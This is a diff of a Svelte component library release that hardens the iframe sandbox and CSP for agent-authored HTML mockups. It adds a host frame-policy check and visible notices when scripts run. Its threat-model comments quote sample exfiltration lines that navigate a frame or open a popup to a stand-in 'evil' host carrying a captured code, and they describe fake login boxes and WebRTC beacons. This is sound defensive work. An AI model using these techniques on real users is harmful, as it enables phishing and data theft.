@joewinke/jatui 0.38.0 → 0.38.1

package/dist/artifact-blocks/CONTRACT.md

@@ -181,7 +181,27 @@ nothing looks live and silently drops input.
 | `crumb` | header crumb snippet | empty crumb row |
 | `nextActions` | `Snippet<[{ compact, autofocus, nextKey }]>` in the done states (MOS: `DeskNextActions`) | nothing |
 | `titleMenu` | `{ header?, items: ContextMenuItem[] }` on the title's right-click | no menu |
-| `services` | block services: `loadGoogleMaps`, `explorer3d`, `sandboxAttr`, `teamLookup`, … (`ctx.services`) | each block's own quiet fallback |
+| `services` | block services: `loadGoogleMaps`, `explorer3d`, `sandboxAttr`, `framePolicy`, `teamLookup`, … (`ctx.services`) | each block's own quiet fallback |
+
+`services.sandboxAttr` (mockup) can NARROW a scripted frame but never widen it:
+a scripted mockup is `sandbox="allow-scripts"` only, with a no-beacon CSP in its
+document and a parent-drawn "runs scripts" notice (jat-4yffn).
+
+**Scripted mockups need `services.framePolicy = { frameSrcSelfEnforced: true }`
+(jatui-2qhbr).** A sandboxed frame can always navigate ITSELF
+(`location = 'https://evil/?c=CODE'`, `<meta refresh>`), and only the host
+page's CSP stops that. Assert the flag only when every page that renders
+artifact blocks is served with an **enforced** `frame-src 'self'` (or
+narrower). Two look-alikes do NOT qualify, and both leak:
+
+- `frame-src 'self' https:` — any https URL is an allowed frame target;
+- `Content-Security-Policy-Report-Only` — it reports, it never blocks.
+
+Without the assertion a mockup with `allowScripts: true` renders **script-free**
+under a "Scripts disabled: this host page does not restrict frame navigation"
+notice. WebRTC is a known gap no CSP closes. Script-free mockups still load
+remote images and open popups — a view beacon, by design; they cannot capture
+input. See `blocks/mockup/sandbox.ts`.
 
 View props that are not adapter keys stay props: `onSaveBlock` + `savedBlocks`
 (per-block state plumbing; omit → blocks get no `saveState`), `comments`

package/dist/artifact-blocks/blocks/mockup/MockupBlock.svelte

@@ -8,7 +8,14 @@
    * which NEVER includes allow-same-origin (see that module for the threat
    * model: opaque origin, no session, no cookies, no parent DOM). Scripts run
    * only when the author passed allowScripts, and even then inside the opaque
-   * origin. referrerpolicy="no-referrer" mirrors ArtifactShell.
+   * origin, with `sandbox="allow-scripts"` only and a no-beacon CSP in the
+   * document (jat-4yffn) — plus a "runs scripts" notice drawn HERE, in the
+   * parent, where the script cannot reach or restyle it. Scripts also need
+   * the HOST's word that its page enforces `frame-src 'self'`
+   * (`services.framePolicy.frameSrcSelfEnforced`, jatui-2qhbr): without it a
+   * script could navigate its own frame to an attacker URL, so the mockup
+   * renders script-free under a "scripts disabled" notice instead.
+   * referrerpolicy="no-referrer" mirrors ArtifactShell.
    *
    * The frame is a scaled viewport: the iframe is laid out at the DEVICE's
    * pixel width and transform-scaled to the column, so a "desktop" mockup is
@@ -19,7 +26,7 @@
    * The theme toggle passes data-theme=light|dark into every fragment (see
    * ./doc.ts) — the snippet's own CSS decides what the attribute means.
    */
-  import { mockupSandboxAttr } from "./sandbox.js"
+  import { mockupSandboxAttr, mockupScriptsAllowed } from "./sandbox.js"
   import type { BlockProps } from "../../types.js"
   import { mockupDocument } from "./doc.js"
   import {
@@ -36,8 +43,14 @@
   /** Measured on-screen width of each frame's viewport, by variant id. */
   let frameWidths = $state<Record<string, number>>({})
 
+  const requested = $derived(params.allowScripts === true)
+  const scripted = $derived(
+    mockupScriptsAllowed(requested, ctx?.services?.framePolicy),
+  )
+  /** Asked for scripts, but the host has not asserted frame-src 'self'. */
+  const scriptsBlocked = $derived(requested && !scripted)
   const sandbox = $derived(
-    mockupSandboxAttr(params.allowScripts === true, ctx?.services?.sandboxAttr),
+    mockupSandboxAttr(scripted, ctx?.services?.sandboxAttr),
   )
 
   /**
@@ -120,6 +133,27 @@
     <SectionTools {ctx} inline />
   </header>
 
+  {#if scripted}
+    <!-- Parent-drawn label (jat-4yffn): the frame's script cannot touch it. -->
+    <p
+      class="border-warning/40 bg-warning/10 text-base-content/80 rounded-field mx-4 mt-2 border px-3 py-2 text-xs sm:mx-5"
+      data-mockup-scripted
+    >
+      <strong class="font-semibold">This mockup runs scripts.</strong>
+      It is a sketch, not a real form — never type a password or a code into it.
+    </p>
+  {:else if scriptsBlocked}
+    <!-- jatui-2qhbr: degraded to script-free; say so, never fail silently. -->
+    <p
+      class="border-base-content/15 bg-base-200 text-base-content/70 rounded-field mx-4 mt-2 border px-3 py-2 text-xs sm:mx-5"
+      data-mockup-scripts-disabled
+    >
+      <strong class="font-semibold">Scripts disabled:</strong>
+      this host page does not restrict frame navigation, so the mockup is shown
+      without its interactive parts.
+    </p>
+  {/if}
+
   <div class="flex flex-wrap items-start gap-5 px-4 pt-2 pb-5 sm:px-5">
     {#each params.variants as v (v.id)}
       {@const dev = deviceOf(v.device)}
@@ -155,7 +189,7 @@
               </div>
               <iframe
                 data-mock-id={v.id}
-                srcdoc={mockupDocument(v.html, theme)}
+                srcdoc={mockupDocument(v.html, theme, scripted)}
                 {sandbox}
                 title="{v.label ?? v.id} — desktop preview"
                 referrerpolicy="no-referrer"
@@ -188,7 +222,7 @@
               ></span>
               <iframe
                 data-mock-id={v.id}
-                srcdoc={mockupDocument(v.html, theme)}
+                srcdoc={mockupDocument(v.html, theme, scripted)}
                 {sandbox}
                 title="{v.label ?? v.id} — {dev} preview"
                 referrerpolicy="no-referrer"

package/dist/artifact-blocks/blocks/mockup/block.d.ts

@@ -4,13 +4,14 @@
  *
  * Params are DATA: one or more variants, each an HTML snippet rendered
  * verbatim inside a sandboxed iframe shaped like a phone, tablet, or desktop
- * frame. The iframe's sandbox attribute comes from
- * `artifactSandboxAttr()` in src/lib/modules/artifacts/sandbox.ts — the same
- * token list the html artifact viewer's CSP header serves — and
- * allow-same-origin is NEVER emitted: the frame is an opaque origin with no
- * session, no cookies, no parent DOM (see that module for the threat model).
- * Scripts stay off unless `allowScripts` is true, and even then they run in
- * the opaque origin only.
+ * frame. The iframe's sandbox attribute comes from `mockupSandboxAttr()` in
+ * ./sandbox.ts and allow-same-origin is NEVER emitted: the frame is an
+ * opaque origin with no session, no cookies, no parent DOM (see that module
+ * for the threat model). Scripts stay off unless `allowScripts` is true, and
+ * then the frame is `allow-scripts` only — no popups, no remote images or
+ * media, no network (jat-4yffn) — under a parent-drawn "runs scripts" notice,
+ * and only on a host that asserts an enforced `frame-src 'self'`
+ * (`services.framePolicy`, jatui-2qhbr); elsewhere it degrades to script-free.
  *
  * The light/dark toggle re-wraps fragments with `data-theme` on <html> (see
  * ./doc.ts); the snippet's own CSS decides what that attribute means.

package/dist/artifact-blocks/blocks/mockup/block.js

@@ -41,7 +41,7 @@ const example = {
 const mockup = {
     type: "mockup",
     title: "Mockup (sandboxed HTML in device frames)",
-    description: "Renders agent-authored HTML snippets inside phone, tablet, or desktop device frames — the way to put a UI concept into an artifact WITHOUT giving that HTML the page's origin: each variant is an iframe whose sandbox attribute comes from the artifact sandbox module (opaque origin, allow-same-origin never emitted, scripts only when allowScripts is true), so the mockup can never touch the session. Pass a FRAGMENT per variant; the block wraps it and drives data-theme=light|dark on <html> so the block-level theme toggle re-skins designs that honor the attribute (a full document passes through unwrapped and owns its own theming). Variants render side by side for A/B comparison. A top-level `device` param is shorthand: it becomes the device of every variant that does not name its own (a variant's own device wins); a variant without any device defaults to phone. Budget: 48KB of HTML per variant, 256KB for the whole block. One-line tip: name variant ids after the option they show (a-phone, b-phone) — reviewers reference them in notes.",
+    description: "Renders agent-authored HTML snippets inside phone, tablet, or desktop device frames — the way to put a UI concept into an artifact WITHOUT giving that HTML the page's origin: each variant is an iframe whose sandbox attribute comes from the artifact sandbox module (opaque origin, allow-same-origin never emitted, scripts only when allowScripts is true), so the mockup can never touch the session. allowScripts is for interaction only and is locked down: the frame gets no popups (links that open a new tab do nothing), no network, and images/media/fonts only as data: URIs (Google Fonts excepted), and the page shows a \"runs scripts\" notice above it; scripts also need the host to assert an enforced frame-src 'self', and on a host that does not, the mockup renders script-free under a \"scripts disabled\" notice — leave it off unless the concept needs JS. Pass a FRAGMENT per variant; the block wraps it and drives data-theme=light|dark on <html> so the block-level theme toggle re-skins designs that honor the attribute (a full document passes through unwrapped and owns its own theming). Variants render side by side for A/B comparison. A top-level `device` param is shorthand: it becomes the device of every variant that does not name its own (a variant's own device wins); a variant without any device defaults to phone. Budget: 48KB of HTML per variant, 256KB for the whole block. One-line tip: name variant ids after the option they show (a-phone, b-phone) — reviewers reference them in notes.",
     schema: mockupSchema,
     component: MockupBlock,
     // mos-8fvt9: the section's Listen + comment sit on the heading row.

package/dist/artifact-blocks/blocks/mockup/doc.d.ts

@@ -1,13 +1,22 @@
 /**
  * The sandboxed document a mockup iframe renders (mos-vzame).
  *
- * The iframe gets its sandbox from artifactSandboxAttr() in
- * src/lib/modules/artifacts/sandbox.ts — the same token list the html
- * artifact viewer serves under its `Content-Security-Policy: sandbox` header.
+ * The iframe gets its sandbox from mockupSandboxAttr() in ./sandbox.ts.
  * allow-same-origin is absent in every mode that helper can emit; the frame
  * is an opaque origin and can never reach the app session, cookies, or DOM.
- * That helper is the single source of truth for the boundary — this file only
- * decides WHAT the opaque-origin document contains.
+ * That module is the single source of truth for the boundary and its threat
+ * model — this file decides WHAT the opaque-origin document contains, and
+ * for a SCRIPTED mockup that includes the policy head (jat-4yffn):
+ * MOCKUP_SCRIPTED_CSP as a `<meta http-equiv>` plus DNS prefetch off. A
+ * srcdoc document has no response headers, so meta is the only carrier. It
+ * is the first element in <head> (before <meta charset>, which only has to
+ * sit in the first 1024 bytes — the policy head is well under that), so it
+ * governs everything the author wrote, and a script removing the element
+ * later does not lift an applied policy.
+ *
+ * Whether a mockup is rendered scripted at all is decided by the caller
+ * (mockupScriptsAllowed in ./sandbox.ts, jatui-2qhbr): this function trusts
+ * its `scripted` argument and emits the policy head for it.
  *
  * The light/dark toggle works by re-wrapping the snippet with `data-theme` on
  * the <html> element — the author's CSS decides what that attribute means
@@ -19,6 +28,12 @@
 /**
  * Wrap a mockup snippet into a full document carrying `data-theme`. A
  * fragment gets the wrapper (body margin 0 — a mockup is full-bleed); a
- * document that already brings `<html>` passes through verbatim.
+ * document that already brings `<html>` passes through verbatim — unless it
+ * is scripted, when the policy head is PREPENDED rather than spliced in
+ * (no regex surgery on untrusted markup). The parser puts those metas in an
+ * implied <head>; the author's own doctype/<html>/<head> tags that follow
+ * are then parse errors that merge or drop harmlessly (their <html>
+ * attributes still apply). The prefix carries a doctype so the document
+ * stays in standards mode.
  */
-export declare function mockupDocument(html: string, theme: "light" | "dark"): string;
+export declare function mockupDocument(html: string, theme: "light" | "dark", scripted?: boolean): string;

package/dist/artifact-blocks/blocks/mockup/doc.js

@@ -1,13 +1,22 @@
 /**
  * The sandboxed document a mockup iframe renders (mos-vzame).
  *
- * The iframe gets its sandbox from artifactSandboxAttr() in
- * src/lib/modules/artifacts/sandbox.ts — the same token list the html
- * artifact viewer serves under its `Content-Security-Policy: sandbox` header.
+ * The iframe gets its sandbox from mockupSandboxAttr() in ./sandbox.ts.
  * allow-same-origin is absent in every mode that helper can emit; the frame
  * is an opaque origin and can never reach the app session, cookies, or DOM.
- * That helper is the single source of truth for the boundary — this file only
- * decides WHAT the opaque-origin document contains.
+ * That module is the single source of truth for the boundary and its threat
+ * model — this file decides WHAT the opaque-origin document contains, and
+ * for a SCRIPTED mockup that includes the policy head (jat-4yffn):
+ * MOCKUP_SCRIPTED_CSP as a `<meta http-equiv>` plus DNS prefetch off. A
+ * srcdoc document has no response headers, so meta is the only carrier. It
+ * is the first element in <head> (before <meta charset>, which only has to
+ * sit in the first 1024 bytes — the policy head is well under that), so it
+ * governs everything the author wrote, and a script removing the element
+ * later does not lift an applied policy.
+ *
+ * Whether a mockup is rendered scripted at all is decided by the caller
+ * (mockupScriptsAllowed in ./sandbox.ts, jatui-2qhbr): this function trusts
+ * its `scripted` argument and emits the policy head for it.
  *
  * The light/dark toggle works by re-wrapping the snippet with `data-theme` on
  * the <html> element — the author's CSS decides what that attribute means
@@ -16,10 +25,15 @@
  * rewriting untrusted markup by regex is exactly the fragility this block
  * refuses; authors who bring their own document own their own theming.
  */
+import { MOCKUP_SCRIPTED_CSP } from "./sandbox.js";
+/** The scripted document's policy head (jat-4yffn). Attribute-safe: the CSP has no `"`. */
+const SCRIPTED_POLICY = `<meta http-equiv="Content-Security-Policy" content="${MOCKUP_SCRIPTED_CSP}">
+<meta http-equiv="x-dns-prefetch-control" content="off">
+`;
 const WRAPPER_HEAD = `<!doctype html>
 <html lang="en" data-theme="THEME">
 <head>
-<meta charset="utf-8">
+POLICY<meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <style>
   html[data-theme="light"] { color-scheme: light; }
@@ -35,10 +49,17 @@ const WRAPPER_TAIL = `
 /**
  * Wrap a mockup snippet into a full document carrying `data-theme`. A
  * fragment gets the wrapper (body margin 0 — a mockup is full-bleed); a
- * document that already brings `<html>` passes through verbatim.
+ * document that already brings `<html>` passes through verbatim — unless it
+ * is scripted, when the policy head is PREPENDED rather than spliced in
+ * (no regex surgery on untrusted markup). The parser puts those metas in an
+ * implied <head>; the author's own doctype/<html>/<head> tags that follow
+ * are then parse errors that merge or drop harmlessly (their <html>
+ * attributes still apply). The prefix carries a doctype so the document
+ * stays in standards mode.
  */
-export function mockupDocument(html, theme) {
-    if (/<html[\s>]/i.test(html))
-        return html;
-    return `${WRAPPER_HEAD.replace("THEME", theme)}${html}${WRAPPER_TAIL}`;
+export function mockupDocument(html, theme, scripted = false) {
+    if (/<html[\s>]/i.test(html)) {
+        return scripted ? `<!doctype html>\n${SCRIPTED_POLICY}${html}` : html;
+    }
+    return `${WRAPPER_HEAD.replace("THEME", theme).replace("POLICY", scripted ? SCRIPTED_POLICY : "")}${html}${WRAPPER_TAIL}`;
 }

package/dist/artifact-blocks/blocks/mockup/sandbox.d.ts

@@ -1,21 +1,98 @@
 /**
- * The mockup frame's `sandbox` attribute (origin: MOS
- * src/lib/modules/artifacts/sandbox.ts artifactSandboxAttr, bad16b324).
+ * The mockup frame's `sandbox` attribute and the CSP its scripted document
+ * carries (origin: MOS src/lib/modules/artifacts/sandbox.ts
+ * artifactSandboxAttr, bad16b324; scripted hardening ported from jat
+ * ide/src/lib/server/artifacts/sandboxPolicy.ts, jat-4yffn).
  *
  * Each variant is agent-authored HTML in an iframe `srcdoc`. The sandbox puts
  * it in an OPAQUE origin: no session, no cookies, no parent DOM. That only
  * holds while `allow-same-origin` is absent — srcdoc with scripts +
  * same-origin is the one combination that defeats it — so this module never
- * emits it, and strips it from a host override too.
+ * emits it, and strips it from a host override too. Top navigation is never
+ * granted either: a mockup may not replace the page it sits in.
+ *
+ * ## Script-free mockups (unchanged)
  *
  * `allow-popups` + `allow-popups-to-escape-sandbox`: a link in a mockup that
- * opens a new tab lands on a normal page, not a sandboxed one. Scripts run
- * only when the author passed `allowScripts`.
+ * opens a new tab lands on a normal page, not a sandboxed one. A host may
+ * widen or narrow that list with `services.sandboxAttr` (a string, or a
+ * function of allowScripts); the never-tokens and `allow-scripts` are removed
+ * from whatever it returns.
+ *
+ * ## Scripted mockups (`allowScripts: true`) — jat-4yffn
+ *
+ * The opaque origin keeps agent JavaScript away from the session, but not
+ * away from the HUMAN looking at it: a script can draw a fake "confirm it's
+ * you" box, capture a typed code, and get it out. So a scripted frame is
+ * `sandbox="allow-scripts"` and nothing else, and its document carries
+ * MOCKUP_SCRIPTED_CSP (see ./doc.ts):
+ *
+ *   - no popups at all — `window.open('https://evil/?c=CODE')` leaks the code
+ *     in the URL whether or not the popup escapes the sandbox. Links that
+ *     open a new tab therefore do not open; that is the trade.
+ *   - `img-src data:` / `media-src data:` — an image or media fetch is a
+ *     beacon `connect-src 'none'` does not cover.
+ *   - `x-dns-prefetch-control: off` — a prefetched hostname is a DNS beacon
+ *     outside every fetch directive.
+ *
+ * A host may NARROW a scripted frame with `services.sandboxAttr` (returning
+ * "" turns scripts off) but never widen it: only `allow-scripts` survives.
+ * MockupBlock draws a "runs scripts" notice in the parent page, outside the
+ * frame, so the label is chrome the script cannot reach.
+ *
+ * ## What the host must assert, and what nobody can close
+ *
+ * - Self-navigation (jatui-2qhbr): a sandboxed document may always navigate
+ *   its OWN frame (`location = 'https://evil/?c=CODE'`, or a meta refresh),
+ *   and nothing in its CSP can stop that. Only the PARENT's CSP can: an
+ *   ENFORCED `frame-src 'self'` (or narrower) on the host page — the browser
+ *   checks it on every navigation of the child frame, while the initial
+ *   srcdoc load is not subject to it. Two near-misses both leak (verified in
+ *   Chromium against mos): `frame-src 'self' https:` (any https URL is a
+ *   valid target) and a Report-Only policy (reports, never blocks). jatui
+ *   cannot read the parent's response headers, so this is a CHECKED
+ *   precondition instead of advice: the host asserts it with
+ *   `services.framePolicy = { frameSrcSelfEnforced: true }`, and a scripted
+ *   mockup runs scripts ONLY under that assertion (mockupScriptsAllowed).
+ *   Without it the mockup degrades to script-free and MockupBlock says so.
+ * - WebRTC: an RTCPeerConnection to an attacker's STUN/TURN server gets
+ *   packets out, and no shipped CSP directive governs it. That is why the
+ *   notice exists and why a real credential prompt belongs to the host page,
+ *   never inside a frame.
  *
- * A host may widen or narrow the token list with `services.sandboxAttr`
- * (a string, or a function of allowScripts); `allow-same-origin` is removed
- * from whatever it returns, and `allow-scripts` is removed unless the author
- * asked for scripts.
+ * - Script-free mockups are NOT beacon-free, by design: they load remote
+ *   images and may open (sandbox-escaping) popups, so an author can learn
+ *   that, and roughly when, a mockup was viewed. They cannot capture input
+ *   (no scripts), so nothing typed into them leaves the frame.
+ *
+ * jat's raw-route gate (Sec-Fetch-Dest/Site) has no counterpart here: a
+ * srcdoc frame has no URL that could be opened full-window without the
+ * notice.
  */
 export type SandboxAttrService = string | ((allowScripts: boolean) => string);
+/**
+ * The host's assertion about its OWN page CSP (`services.framePolicy`,
+ * jatui-2qhbr). `frameSrcSelfEnforced: true` claims the page that renders
+ * blocks is served with an ENFORCED (not Report-Only) `frame-src 'self'` —
+ * or narrower — and no `https:`/`*` source in it. Assert it only when that
+ * header is really sent on every route that renders artifact blocks.
+ */
+export interface FramePolicyService {
+    frameSrcSelfEnforced?: boolean;
+}
+/**
+ * Whether a mockup that ASKED for scripts may run them: only when the host
+ * asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
+ * or a missing service is no assertion). Otherwise it degrades to
+ * script-free, which closes self-navigation (no script, and a sandbox without
+ * allow-scripts blocks meta refresh) at the cost of interactivity.
+ */
+export declare function mockupScriptsAllowed(requested: boolean, framePolicy?: unknown): boolean;
+/**
+ * The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
+ * see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
+ * meta policy cannot express (sandbox, frame-ancestors) — the iframe's
+ * sandbox attribute covers the former.
+ */
+export declare const MOCKUP_SCRIPTED_CSP: string;
 export declare function mockupSandboxAttr(allowScripts: boolean, override?: unknown): string;

package/dist/artifact-blocks/blocks/mockup/sandbox.js

@@ -1,4 +1,41 @@
-const FORBIDDEN = new Set(["allow-same-origin"]);
+/**
+ * Whether a mockup that ASKED for scripts may run them: only when the host
+ * asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
+ * or a missing service is no assertion). Otherwise it degrades to
+ * script-free, which closes self-navigation (no script, and a sandbox without
+ * allow-scripts blocks meta refresh) at the cost of interactivity.
+ */
+export function mockupScriptsAllowed(requested, framePolicy) {
+    return (requested === true &&
+        typeof framePolicy === "object" &&
+        framePolicy !== null &&
+        framePolicy.frameSrcSelfEnforced === true);
+}
+/** Tokens no mockup frame may ever carry, in either mode. */
+const NEVER = new Set([
+    "allow-same-origin",
+    "allow-top-navigation",
+    "allow-top-navigation-by-user-activation",
+]);
+/** The only token a scripted frame may carry; a host override is intersected with it. */
+const SCRIPTED_ALLOWED = new Set(["allow-scripts"]);
+/**
+ * The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
+ * see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
+ * meta policy cannot express (sandbox, frame-ancestors) — the iframe's
+ * sandbox attribute covers the former.
+ */
+export const MOCKUP_SCRIPTED_CSP = [
+    "default-src 'none'",
+    "script-src 'unsafe-inline' 'unsafe-eval'",
+    "style-src 'unsafe-inline' https://fonts.googleapis.com",
+    "font-src data: https://fonts.gstatic.com",
+    "img-src data:",
+    "media-src data:",
+    "connect-src 'none'",
+    "form-action 'none'",
+    "base-uri 'none'",
+].join("; ");
 export function mockupSandboxAttr(allowScripts, override) {
     let raw;
     if (typeof override === "function") {
@@ -15,13 +52,12 @@ export function mockupSandboxAttr(allowScripts, override) {
         .split(/\s+/)
         .map((t) => t.trim().toLowerCase())
         .filter(Boolean)
-        .filter((t) => !FORBIDDEN.has(t))
-        .filter((t) => allowScripts || t !== "allow-scripts");
+        .filter((t) => !NEVER.has(t))
+        .filter((t) => allowScripts ? SCRIPTED_ALLOWED.has(t) : t !== "allow-scripts");
     return [...new Set(tokens)].join(" ");
 }
 function defaultTokens(allowScripts) {
-    const tokens = ["allow-popups", "allow-popups-to-escape-sandbox"];
-    if (allowScripts)
-        tokens.push("allow-scripts");
-    return tokens.join(" ");
+    return allowScripts
+        ? "allow-scripts"
+        : "allow-popups allow-popups-to-escape-sandbox";
 }

package/dist/artifact-blocks/types.d.ts

@@ -471,6 +471,15 @@ export interface BlockServices {
     explorer3d?: Component<Record<string, unknown>>;
     /** Mockup block: the `sandbox` attribute for untrusted HTML frames. */
     sandboxAttr?: string;
+    /**
+     * Mockup block (jatui-2qhbr): the host asserts its page is served with an
+     * ENFORCED `frame-src 'self'` (not Report-Only, no `https:`). Scripted
+     * mockups run scripts only under `{ frameSrcSelfEnforced: true }`;
+     * otherwise they render script-free with a notice.
+     */
+    framePolicy?: {
+        frameSrcSelfEnforced?: boolean;
+    };
     /** Team lookup for review chips (ids → display names). */
     teamLookup?: (ids: string[]) => Promise<Record<string, string>>;
     [key: string]: unknown;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@joewinke/jatui",
-  "version": "0.38.0",
+  "version": "0.38.1",
   "private": false,
   "description": "Shared Svelte 5 component library for JAT projects",
   "type": "module",